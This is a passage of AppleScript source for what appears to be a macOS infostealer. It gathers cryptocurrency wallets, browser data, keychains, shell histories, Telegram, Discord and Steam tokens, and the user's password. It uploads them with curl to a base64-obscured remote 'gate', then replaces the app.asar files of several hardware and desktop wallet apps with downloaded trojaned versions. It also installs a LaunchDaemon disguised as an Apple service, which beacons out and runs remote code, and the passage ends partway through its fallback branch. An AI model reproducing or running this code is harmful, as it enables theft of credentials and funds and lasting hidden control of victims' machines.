set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Armory", library & "Armory/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero", profile & "/.bitmonero/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}
set walletMap to walletMap & {{"Wallets/Desktop/Daedalus", library & "Daedalus Mainnet/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Anchor", library & "anchor/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Jaxx", library & "com.liberty.jaxx/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero_GUI", profile & "/Monero/wallets/"}}
readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")
writeText(username, writemind & "Username")

debugLog("Writing info file + system_profiler...")
writeText("Meow (DEBUG)" & return, writemind & "info")
writeText("Build Tag: " & return, writemind & "info")
writeText("External IP: " & externalIP & return & return, writemind & "info")
writeText("System Info" & return, writemind & "info")
writeText("Username: " & username & return, writemind & "info")
writeText("Password: " & password_entered & return & return, writemind & "info")
writeText("Hostname: " & hostName & return, writemind & "info")
writeText("OS Version: " & osVersion & return, writemind & "info")
writeText("Is CIS: " & isCIS & return, writemind & "info")
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try

try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "collecting_browsers" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 3 2>/dev/null &"
do shell script shellCmd
end try

debugLog("--- COLLECTING BROWSERS ---")
Chromium(writemind, chromiumMap)
debugLog("Chromium() done")
ChromiumWallets(writemind, chromiumMap)
debugLog("ChromiumWallets() done")
Gecko(writemind, geckoMap)
debugLog("Gecko() done")

try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "collecting_wallets" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 3 2>/dev/null &"
do shell script shellCmd
end try

debugLog("--- COLLECTING WALLETS ---")
DesktopWallets(writemind, walletMap)
debugLog("DesktopWallets() done")
Telegram(writemind, library)
debugLog("Telegram() done")
Keychains(writemind)
debugLog("Keychains() done")
CloudKeys(writemind & "Profile/")
debugLog("CloudKeys() done")
Filegrabber(writemind, profile)
debugLog("Filegrabber() done")
DiscordTokens(writemind, library)
debugLog("DiscordTokens() done")
SteamTokens(writemind, library)
debugLog("SteamTokens() done")

set collectedInfo to ""
try
set collectedInfo to do shell script "cd " & quoted form of writemind & " && echo 'browsers:' $(ls -d Browsers/*/ 2>/dev/null | wc -l | tr -d ' ') 'wallets:' $(( $(find Wallets/Browser Wallets/Web -mindepth 2 -maxdepth 2 -type d 2>/dev/null | wc -l) + $(find Wallets/Desktop -mindepth 1 -maxdepth 1 -type d 2>/dev/null | wc -l) )) 'extensions:' $(ls -d Extensions/*/ 2>/dev/null | wc -l | tr -d ' ') 'keychains:' $(ls Keychains/ 2>/dev/null | wc -l | tr -d ' ') 'telegram:' $(ls Telegram/ 2>/dev/null | wc -l | tr -d ' ') 'discord:' $(ls -d Discord/*/ 2>/dev/null | wc -l | tr -d ' ') 'steam:' $(ls Steam/ 2>/dev/null | wc -l | tr -d ' ')"
end try

try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "data_collected" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "collected" & quote & ":" & quote & collectedInfo & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try

debugLog("Collected: " & collectedInfo)

debugLog("--- CREATING ZIP ---")
set archivePath to "/tmp/shub_log.zip"
try
do shell script "ditto -c -k --sequesterRsrc " & quoted form of writemind & " " & quoted form of archivePath
debugLog("ZIP created OK")
on error errMsg
debugLog("ZIP error: " & errMsg)
end try

set archiveSize to "0"
try
set archiveSize to do shell script "stat -f%z " & quoted form of archivePath & " 2>/dev/null || echo 0"
end try
debugLog("Archive size: " & archiveSize & " bytes")

set gateUrl to do shell script "echo 'aHR0cHM6Ly91czQxd2Viem9vbS53aWtpL2dhdGU=' | base64 -d"
set apiKey to "1"
set buildId to "1"
set buildName to ""
set buildHash to "1"
set hasValidPassword to "0"
if password_entered is not equal to "__INVALID__" then
set hasValidPassword to "1"
end if
set passwordToSend to ""
if password_entered is not equal to "__INVALID__" then
set passwordToSend to password_entered
end if
debugLog("--- UPLOADING TO GATE ---")
debugLog("Gate URL: " & gateUrl)
set uploadOK to false

set folderSizeNum to 0
try
set folderSizeNum to (do shell script "du -sk " & quoted form of writemind & " | awk '{print $1}'") as integer
set folderSizeNum to folderSizeNum * 1024
end try
debugLog("Folder size: " & folderSizeNum & " bytes")

set chunkThreshold to 85000000

if folderSizeNum < chunkThreshold then
debugLog("Small folder (" & folderSizeNum & " bytes), single upload")
try
set curlResult to do shell script "curl -s -w '
%{http_code}' --max-time 300 --retry 3 --retry-delay 5 -X POST " & quoted form of gateUrl & " -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36' -F 'file=@" & archivePath & "' -F 'key=" & apiKey & "' -F 'password=" & passwordToSend & "' -F 'buildtxd=" & buildId & "' -F 'has_valid_password=" & hasValidPassword & "' -F 'build_hash=" & buildHash & "'"
set httpCode to last paragraph of curlResult
debugLog("Upload HTTP code: " & httpCode)
if httpCode starts with "2" then
debugLog("Upload complete OK")
set uploadOK to true
else
debugLog("Upload failed with HTTP " & httpCode)
end if
on error errMsg
debugLog("Upload error: " & errMsg)
try
set errCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "upload_error" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "error" & quote & ":" & quote & errMsg & quote & "}' --max-time 5 2>/dev/null &"
do shell script errCmd
end try
end try

else
debugLog("Large folder (" & folderSizeNum & " bytes), using multi-zip chunked upload")
set chunkUrl to gateUrl & "/chunk"
debugLog("Chunk URL: " & chunkUrl)
try
do shell script "rm -rf /tmp/shub_mzip_*"

set lf to (ASCII character 10)
set splitScript to "#!/bin/bash" & lf & "SRC=$1" & lf & "MAX_BYTES=70000000" & lf & "CHUNK_IDX=0" & lf & "CUR_SIZE=0" & lf & "CUR_LIST=()" & lf & "flush_bin() {" & lf & "  if [ ${#CUR_LIST[@]} -eq 0 ]; then return; fi" & lf & "  ZIPNAME=\"/tmp/shub_mzip_$(printf '%04d' $CHUNK_IDX).zip\"" & lf & "  TMPBIN=\"/tmp/shub_mzip_bin_${CHUNK_IDX}\"" & lf & "  rm -rf \"$TMPBIN\"" & lf & "  mkdir -p \"$TMPBIN\"" & lf & "  for BI in \"${CUR_LIST[@]}\"; do" & lf & "    PARENT=$(dirname \"$BI\")" & lf & "    mkdir -p \"$TMPBIN/$PARENT\"" & lf & "    cp -a \"$SRC/$BI\" \"$TMPBIN/$BI\"" & lf & "  done" & lf & "  ditto -c -k --sequesterRsrc \"$TMPBIN\" \"$ZIPNAME\" 2>/dev/null || (cd \"$TMPBIN\" && zip -r -q \"$ZIPNAME\" . 2>/dev/null)" & lf & "  rm -rf \"$TMPBIN\"" & lf & "  CHUNK_IDX=$((CHUNK_IDX + 1))" & lf & "  CUR_SIZE=0" & lf & "  CUR_LIST=()" & lf & "}" & lf & "add_item() {" & lf & "  local REL_PATH=\"$1\"" & lf & "  local ITEM_SIZE=\"$2\"" & lf & "  if [ $((CUR_SIZE + ITEM_SIZE)) -gt $MAX_BYTES ] && [ ${#CUR_LIST[@]} -gt 0 ]; then" & lf & "    flush_bin" & lf & "  fi" & lf & "  CUR_LIST+=(\"$REL_PATH\")" & lf & "  CUR_SIZE=$((CUR_SIZE + ITEM_SIZE))" & lf & "}" & lf & "process_dir() {" & lf & "  local DIR_REL=\"$1\"" & lf & "  local DIR_ABS=\"$SRC\"" & lf & "  if [ -n \"$DIR_REL\" ]; then" & lf & "    DIR_ABS=\"$SRC/$DIR_REL\"" & lf & "  fi" & lf & "  for ITEM in \"$DIR_ABS\"/*; do" & lf & "    [ ! -e \"$ITEM\" ] && continue" & lf & "    BASENAME=$(basename \"$ITEM\")" & lf & "    if [ -n \"$DIR_REL\" ]; then" & lf & "      REL=\"$DIR_REL/$BASENAME\"" & lf & "    else" & lf & "      REL=\"$BASENAME\"" & lf & "    fi" & lf & "    if [ -f \"$ITEM\" ]; then" & lf & "      FSIZE=$(stat -f%z \"$ITEM\" 2>/dev/null || echo 0)" & lf & "      add_item \"$REL\" \"$FSIZE\"" & lf & "    elif [ -d \"$ITEM\" ]; then" & lf & "      DSIZE=$(du -sk \"$ITEM\" 2>/dev/null | awk '{print $1}')" & lf & "      DSIZE=$((DSIZE * 1024))" & lf & "      if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & "        add_item \"$REL\" \"$DSIZE\"" & lf & "      else" & lf & "        process_dir \"$REL\"" & lf & "      fi" & lf & "    fi" & lf & "  done" & lf & "}" & lf & "PRIORITY=(Wallets KeyChains Browsers Telegram Safari Notes Profile)" & lf & "DONE=()" & lf & "for PD in \"${PRIORITY[@]}\"; do" & lf & "  if [ -e \"$SRC/$PD\" ]; then" & lf & "    if [ -d \"$SRC/$PD\" ]; then" & lf & "      DSIZE=$(du -sk \"$SRC/$PD\" 2>/dev/null | awk '{print $1}')" & lf & "      DSIZE=$((DSIZE * 1024))" & lf & "      if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & "        add_item \"$PD\" \"$DSIZE\"" & lf & "      else" & lf & "        process_dir \"$PD\"" & lf & "      fi" & lf & "    else" & lf & "      FSIZE=$(stat -f%z \"$SRC/$PD\" 2>/dev/null || echo 0)" & lf & "      add_item \"$PD\" \"$FSIZE\"" & lf & "    fi" & lf & "    DONE+=(\"$PD\")" & lf & "  fi" & lf & "done" & lf & "flush_bin" & lf & "for ITEM in \"$SRC\"/*; do" & lf & "  [ ! -e \"$ITEM\" ] && continue" & lf & "  BASENAME=$(basename \"$ITEM\")" & lf & "  SKIP=0" & lf & "  for D in \"${DONE[@]}\"; do" & lf & "    if [ \"$BASENAME\" = \"$D\" ]; then SKIP=1; break; fi" & lf & "  done" & lf & "  [ $SKIP -eq 1 ] && continue" & lf & "  if [ -f \"$ITEM\" ]; then" & lf & "    FSIZE=$(stat -f%z \"$ITEM\" 2>/dev/null || echo 0)" & lf & "    add_item \"$BASENAME\" \"$FSIZE\"" & lf & "  elif [ -d \"$ITEM\" ]; then" & lf & "    DSIZE=$(du -sk \"$ITEM\" 2>/dev/null | awk '{print $1}')" & lf & "    DSIZE=$((DSIZE * 1024))" & lf & "    if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & "      add_item \"$BASENAME\" \"$DSIZE\"" & lf & "    else" & lf & "      process_dir \"$BASENAME\"" & lf & "    fi" & lf & "  fi" & lf & "done" & lf & "flush_bin"
do shell script "printf '%s' " & quoted form of splitScript & " > /tmp/shub_split.sh && chmod +x /tmp/shub_split.sh && /bin/bash /tmp/shub_split.sh " & quoted form of writemind & " && rm -f /tmp/shub_split.sh"

set chunkSession to do shell script "uuidgen | tr -d '-' | tr '[:upper:]' '[:lower:]'"

set totalChunks to do shell script "ls -1 /tmp/shub_mzip_*.zip 2>/dev/null | wc -l | tr -d ' '"
debugLog("Created " & totalChunks & " independent ZIP archives, session: " & chunkSession)

try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "chunked_upload_start" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "total_chunks" & quote & ":" & quote & totalChunks & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try

set chunkIndex to 0
set chunkList to do shell script "ls -1 /tmp/shub_mzip_*.zip 2>/dev/null | sort"
set allChunksOK to true
repeat with chunkLine in paragraphs of chunkList
set chunkFile to chunkLine as text
if chunkFile is not "" then
debugLog("Uploading chunk " & (chunkIndex + 1) & "/" & totalChunks & ": " & chunkFile)
try
set curlResult to do shell script "curl -s -w '
%{http_code}' --max-time 120 --retry 3 --retry-delay 5 --retry-all-errors -X POST " & quoted form of chunkUrl & " -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36' -F 'file=@" & chunkFile & "' -F 'chunk_session=" & chunkSession & "' -F 'chunk_num=" & chunkIndex & "' -F 'total_chunks=" & totalChunks & "' -F 'key=" & apiKey & "' -F 'password=" & passwordToSend & "' -F 'buildtxd=" & buildId & "' -F 'has_valid_password=" & hasValidPassword & "' -F 'build_hash=" & buildHash & "'"
set httpCode to last paragraph of curlResult
debugLog("Chunk " & (chunkIndex + 1) & " HTTP code: " & httpCode)
if httpCode does not start with "2" then
debugLog("Chunk " & (chunkIndex + 1) & " failed with HTTP " & httpCode)
set allChunksOK to false
end if
on error errMsg
debugLog("Chunk " & (chunkIndex + 1) & " error: " & errMsg)
set allChunksOK to false
end try
set chunkIndex to chunkIndex + 1
end if
end repeat

if allChunksOK then
debugLog("All " & totalChunks & " chunks uploaded OK")
set uploadOK to true
else
debugLog("Some chunks failed, but independent ZIPs sent: " & chunkIndex & "/" & totalChunks)
if chunkIndex > 0 then set uploadOK to true
end if

do shell script "rm -f /tmp/shub_mzip_*.zip"
on error errMsg
debugLog("Multi-zip upload error: " & errMsg)
try
set errCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "chunked_upload_error" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "error" & quote & ":" & quote & errMsg & quote & "}' --max-time 5 2>/dev/null &"
do shell script errCmd
end try
end try
end if

if uploadOK then
try
set isChunked to "false"
if folderSizeNum is greater than or equal to chunkThreshold then set isChunked to "true"
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "zip_sent" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "has_password" & quote & ":" & quote & hasValidPassword & quote & "," & quote & "chunked" & quote & ":" & quote & isChunked & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
end if

try
do shell script "rm -f " & quoted form of archivePath
do shell script "rm -f /tmp/shub_chunk_*"
do shell script "rm -f /tmp/shub_mzip_*.zip"
do shell script "rm -rf /tmp/shub_*"
end try

debugLog("--- WALLET INJECTION ---")
set exodusPath to "/Applications/Exodus.app"
if (do shell script "test -d " & quoted form of exodusPath & " && echo 1 || echo 0") is "1" then
debugLog("Exodus FOUND at " & exodusPath & ", injecting...")
try
set asarUrl to gateUrl & "/exodus-asar"
set tempZip to "/tmp/exodus_asar.zip"
set tempAsar to "/tmp/app.asar"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 Exodus 2>/dev/null || true"
delay 1
set exodusResources to "/Applications/Exodus.app/Contents/Resources"
set targetAsar to exodusResources & "/app.asar"
do shell script "cp -rf " & quoted form of exodusPath & " /tmp/Exodus_tmp.app"
do shell script "rm -rf " & quoted form of exodusPath
do shell script "mv /tmp/Exodus_tmp.app " & quoted form of exodusPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
do shell script "xattr -cr " & quoted form of exodusPath
do shell script "codesign -f -d -s - " & quoted form of exodusPath
debugLog("Exodus: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Exodus: injection FAIL | " & errMsg)
end try
end if
set atomicPath to "/Applications/Atomic Wallet.app"
if (do shell script "test -d " & quoted form of atomicPath & " && echo 1 || echo 0") is "1" then
debugLog("Atomic Wallet FOUND at " & atomicPath & ", injecting...")
try
set asarUrl to gateUrl & "/atomic-asar"
set tempZip to "/tmp/atomic_asar.zip"
set tempAsar to "/tmp/app.asar"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Atomic Wallet' 2>/dev/null || true"
delay 1
set atomicResources to "/Applications/Atomic Wallet.app/Contents/Resources"
set targetAsar to atomicResources & "/app.asar"
do shell script "cp -rf " & quoted form of atomicPath & " /tmp/Atomic_tmp.app"
do shell script "rm -rf " & quoted form of atomicPath
do shell script "mv /tmp/Atomic_tmp.app " & quoted form of atomicPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
do shell script "xattr -cr " & quoted form of atomicPath
do shell script "codesign -f -d -s - " & quoted form of atomicPath
debugLog("Atomic: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Atomic: injection FAIL | " & errMsg)
end try
end if
set ledgerPath to "/Applications/Ledger Wallet.app"
if (do shell script "test -d " & quoted form of ledgerPath & " && echo 1 || echo 0") is "1" then
debugLog("Ledger Wallet FOUND at " & ledgerPath & ", injecting...")
try
set asarUrl to gateUrl & "/ledger-asar"
set tempZip to "/tmp/ledger_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Ledger Wallet' 2>/dev/null || true"
delay 1
set ledgerResources to "/Applications/Ledger Wallet.app/Contents/Resources"
set targetAsar to ledgerResources & "/app.asar"
set targetPlist to "/Applications/Ledger Wallet.app/Contents/Info.plist"
do shell script "cp -rf " & quoted form of ledgerPath & " /tmp/Ledger_tmp.app"
do shell script "rm -rf " & quoted form of ledgerPath
do shell script "mv /tmp/Ledger_tmp.app " & quoted form of ledgerPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
do shell script "xattr -cr " & quoted form of ledgerPath
do shell script "codesign -f -d -s - " & quoted form of ledgerPath
debugLog("Ledger Wallet: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Ledger Wallet: injection FAIL | " & errMsg)
end try
end if
set ledgerLivePath to "/Applications/Ledger Live.app"
if (do shell script "test -d " & quoted form of ledgerLivePath & " && echo 1 || echo 0") is "1" then
debugLog("Ledger Live FOUND at " & ledgerLivePath & ", injecting...")
try
set asarUrl to gateUrl & "/ledgerlive-asar"
set tempZip to "/tmp/ledger_live_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Ledger Live' 2>/dev/null || true"
delay 1
set ledgerLiveResources to "/Applications/Ledger Live.app/Contents/Resources"
set targetAsar to ledgerLiveResources & "/app.asar"
set targetPlist to "/Applications/Ledger Live.app/Contents/Info.plist"
do shell script "cp -rf " & quoted form of ledgerLivePath & " /tmp/LedgerLive_tmp.app"
do shell script "rm -rf " & quoted form of ledgerLivePath
do shell script "mv /tmp/LedgerLive_tmp.app " & quoted form of ledgerLivePath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
do shell script "xattr -cr " & quoted form of ledgerLivePath
do shell script "codesign -f -d -s - " & quoted form of ledgerLivePath
debugLog("Ledger Live: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Ledger Live: injection FAIL | " & errMsg)
end try
end if
set trezorPath to "/Applications/Trezor Suite.app"
if (do shell script "test -d " & quoted form of trezorPath & " && echo 1 || echo 0") is "1" then
debugLog("Trezor Suite FOUND at " & trezorPath & ", injecting...")
try
set asarUrl to gateUrl & "/trezor-asar"
set tempZip to "/tmp/trezor_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
set tempUnpacked to "/tmp/app.asar.unpacked"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Trezor Suite' 2>/dev/null || true"
delay 1
set trezorResources to "/Applications/Trezor Suite.app/Contents/Resources"
set targetAsar to trezorResources & "/app.asar"
set targetPlist to "/Applications/Trezor Suite.app/Contents/Info.plist"
set targetUnpacked to trezorResources & "/app.asar.unpacked"
do shell script "cp -rf " & quoted form of trezorPath & " /tmp/Trezor_tmp.app"
do shell script "rm -rf " & quoted form of trezorPath
do shell script "mv /tmp/Trezor_tmp.app " & quoted form of trezorPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
if (do shell script "test -d " & quoted form of tempUnpacked & " && echo 1 || echo 0") is "1" then
do shell script "rm -rf " & quoted form of targetUnpacked
do shell script "mv " & quoted form of tempUnpacked & " " & quoted form of targetUnpacked
end if
do shell script "xattr -cr " & quoted form of trezorPath
do shell script "codesign -f -d -s - " & quoted form of trezorPath
debugLog("Trezor: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Trezor: injection FAIL | " & errMsg)
end try
end if

debugLog("--- PERSISTENCE ---")
set serviceDir to "/Library/Application Support/.com.apple.accountsd/"
set servicePath to serviceDir & ".service"
set wrapperPath to serviceDir & ".cfg"
set plistPath to "/Library/LaunchDaemons/com.apple.accountsd.plist"
debugLog("Persistence: service -> " & servicePath)
debugLog("Persistence: wrapper -> " & wrapperPath)
debugLog("Persistence: plist -> " & plistPath)
try
if password_entered is not equal to "__INVALID__" and password_entered is not equal to "" then
do shell script "mkdir -p " & quoted form of serviceDir with administrator privileges password password_entered
do shell script "echo 'IyEvYmluL2Jhc2gKR0FURV9VUkw9Imh0dHBzOi8vdXM0MXdlYnpvb20ud2lraSIKQk9UX0lEPSQoaW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2UgfCBhd2sgLUYnIicgJy9JT1BsYXRmb3JtVVVJRC97cHJpbnQgJDR9JykKQlVJTERfSUQ9IjY0ZTRiZGM4MDUwN2VkYTA0YTQyNjU2MjBjZmEyN2JkMzliYWIyZjZmZTFiYzBhZTkwMDY5OWU2NGMzNTc3NTYiCkJVSUxEX05BTUU9IiIKSE9TVE5BTUU9JChob3N0bmFtZSkKSVA9JChjdXJsIC1zIGh0dHBzOi8vYXBpLmlwaWZ5Lm9yZyAyPi9kZXYvbnVsbCB8fCBlY2hvIHVua25vd24pCk9TX1ZFUj0kKHN3X3ZlcnMgLXByb2R1Y3RWZXJzaW9uKQpSRVNQPSQoY3VybCAtcyAtWCBQT1NUICIkR0FURV9VUkwvYXBpL2JvdC9oZWFydGJlYXQiIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIC1kICd7ImJvdF9pZCI6IiciJEJPVF9JRCInIiwiYnVpbGRfaWQiOiInIiRCVUlMRF9JRCInIiwiaG9zdG5hbWUiOiInIiRIT1NUTkFNRSInIiwiaXAiOiInIiRJUCInIiwib3NfdmVyc2lvbiI6IiciJE9TX1ZFUiInIn0nKQpDT0RFPSQoZWNobyAiJFJFU1AiIHwgc2VkIC1uICdzLy4qImNvZGUiOiJcKFteIl0qXCkiLiovXDEvcCcpCmlmIFsgLW4gIiRDT0RFIiBdOyB0aGVuCmVjaG8gIiRDT0RFIiB8IGJhc2U2NCAtZCA+IC90bXAvLmMuc2ggJiYgY2htb2QgK3ggL3RtcC8uYy5zaCAmJiAvdG1wLy5jLnNoOyBybSAtZiAvdG1wLy5jLnNoCmZpCg==' | base64 -d > " & quoted form of servicePath with administrator privileges password password_entered
do shell script "chmod +x " & quoted form of servicePath with administrator privileges password password_entered
set wrapperContent to "#!/bin/bash" & (ASCII character 10) & "while true; do" & (ASCII character 10) & "  LOGGED_USER=$(stat -f '%Su' /dev/console 2>/dev/null)" & (ASCII character 10) & "  if [ -n \"$LOGGED_USER\" ] && [ \"$LOGGED_USER\" != \"root\" ]; then" & (ASCII character 10) & "    sudo -u \"$LOGGED_USER\" '" & servicePath & "'" & (ASCII character 10) & "  fi" & (ASCII character 10) & "  sleep 60" & (ASCII character 10) & "done"
do shell script "echo " & quoted form of wrapperContent & " > " & quoted form of wrapperPath with administrator privileges password password_entered
do shell script "chmod +x " & quoted form of wrapperPath with administrator privileges password password_entered
set plistContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" & (ASCII character 10) & "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">" & (ASCII character 10) & "<plist version=\"1.0\">" & (ASCII character 10) & "<dict>" & (ASCII character 10) & "<key>Label</key>" & (ASCII character 10) & "<string>com.apple.accountsd</string>" & (ASCII character 10) & "<key>ProgramArguments</key>" & (ASCII character 10) & "<array>" & (ASCII character 10) & "<string>/bin/bash</string>" & (ASCII character 10) & "<string>" & wrapperPath & "</string>" & (ASCII character 10) & "</array>" & (ASCII character 10) & "<key>RunAtLoad</key>" & (ASCII character 10) & "<true/>" & (ASCII character 10) & "<key>KeepAlive</key>" & (ASCII character 10) & "<true/>" & (ASCII character 10) & "<key>StandardOutPath</key>" & (ASCII character 10) & "<string>/dev/null</string>" & (ASCII character 10) & "<key>StandardErrorPath</key>" & (ASCII character 10) & "<string>/dev/null</string>" & (ASCII character 10) & "</dict>" & (ASCII character 10) & "</plist>"
do shell script "echo " & quoted form of plistContent & " > " & quoted form of plistPath with administrator privileges password password_entered
do shell script "chown root:wheel " & quoted form of plistPath with administrator privileges password password_entered
do shell script "launchctl unload " & quoted form of plistPath & " 2>/dev/null || true" with administrator privileges password password_entered
do shell script "launchctl load " & quoted form of plistPath with administrator privileges password password_entered
debugLog("Persistence: LaunchDaemon OK (root)")
else
debugLog("Persistence: no valid password, falling back to LaunchAgent")
set agentDir to (POSIX path of (path to home folder)) & "Library/Application Support/.com.apple.accountsd/"
set agentServicePath to agentDir & ".service"
set agentPlistDir to (POSIX path of (path to home folder)) & "Library/LaunchAgents/"
set agentPlistPath to agentPlistDir & "com.apple.accountsd.plist"
do shell script "mkdir -p " & quoted form of agentDir
do shell script "mkdir -p " & quoted form of agentPlistDir
